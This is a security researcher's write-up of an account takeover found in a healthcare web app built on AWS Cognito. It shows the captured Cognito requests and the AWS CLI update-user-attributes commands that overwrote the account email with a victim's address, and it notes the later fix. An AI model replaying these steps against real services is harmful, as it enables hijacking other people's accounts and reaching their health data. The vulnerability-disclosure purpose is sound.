I was going through Hackivity from Hackerone and read about the amazing Flickr Account Takeover. Thanks to Lauritz for the find and an excellent blog post. If you haven’t read it, it is here. I’ll also provide some references at the end of this post.
I was testing a web application related to health care. Some of the functionalities were to schedule appointments with doctors, order medicines, interact with doctors within the website via messaging, etc. It was an authenticated test, credentials were provided.
It is important to note that the email address and other details cannot be changed from the application, we had to send a request to support for any changes.
Upon logging in to the app, I have noticed the login request is sent to Amazon Cognito URL. If you need a thorough understanding of the login, pl go through Laurtiz blog or this blog by Appseco.
So, the login flow in the app I was testing was as follows.
HTTP/2 200 OK
Date: Thu, 32 Abc 2040 25:51:36 GMT
[...]{
"AuthenticationResult":
{
"AccessToken":"[REDACTED]",
"ExpiresIn":3600,
"IdToken":"[REDACTED]",
"RefreshToken":"[REDACTED]",
"TokenType":"Bearer"
},
"ChallengeParameters":
{
}
}
X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
header is sent in a post request along with the AccessToken.POST / HTTP/1.1
Host: cognito-idp.eu-west-1.amazonaws.com
Referer: https://target
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.GetUser
X-Amz-User-Agent: aws-amplify/0.1.x js
Origin: https://target
Content-Length: 1021
Connection: close{"AccessToken":"<AccessToken>"}
{
"UserAttributes": [
{
"Name": "sub",
"Value": "d7fdsfdfdsfdf9-4558b142bb58"
},
{
"Name": "email_verified",
"Value": "true"
},
{
"Name": "given_name",
"Value": "asddfdf"
},
{
"Name": "family_name",
"Value": "asdsddfdf"
},
{
"Name": "email",
"Value": "[email protected]"
}
],
"Username": "sdfdsfdff8b142bb58"
}
The AccessToken obtained after login can be directly used with AWS-CLI. Following the steps in the Lauritz blog, we can fetch the user attributes with the below command.
aws --no-verify-ssl cognito-idp get-user --region eu-west-1 --access-token <Insert Token Here>
The user attributes can be modified with the help of update-user-attributes
. I tried adding new attributes, however, it wasn’t allowed. So, I tried to change the existing attribute given_name
initially, and it worked.
aws --no-verify-ssl cognito-idp update-user-attributes --region eu-west-1 --access-token <Insert Token Here> --user-attributes 'Name=given_name,Value=changed by AWS-CLI'
After this, if I fetch the user attributes, the given_name
was indeed changed.
It was now time to change the email. Here is the proof of concept steps
## Account 1
- email : [email protected]
- password: attackerRocks@!## Account 2
- email : [email protected]
- password: victimaccount@!
email
to [email protected]
aws --no-verify-ssl cognito-idp update-user-attributes --region eu-west-1 --access-token <Insert Token Here> --user-attributes 'Name=email,[email protected]'
email - [email protected]
password - attackerRocks@!
Soon after reporting, I got a patch verification request. Now, when I tried to change email, we get this error
An error occured (AliasExistsException) when calling the UpdateUserAttributes operation: An account with the given email address already exists.
Now the application was not blindly changing email but checking if there’s an existing account with that email.
As promised here are some cool resources to learn about hacking AWS Cognito.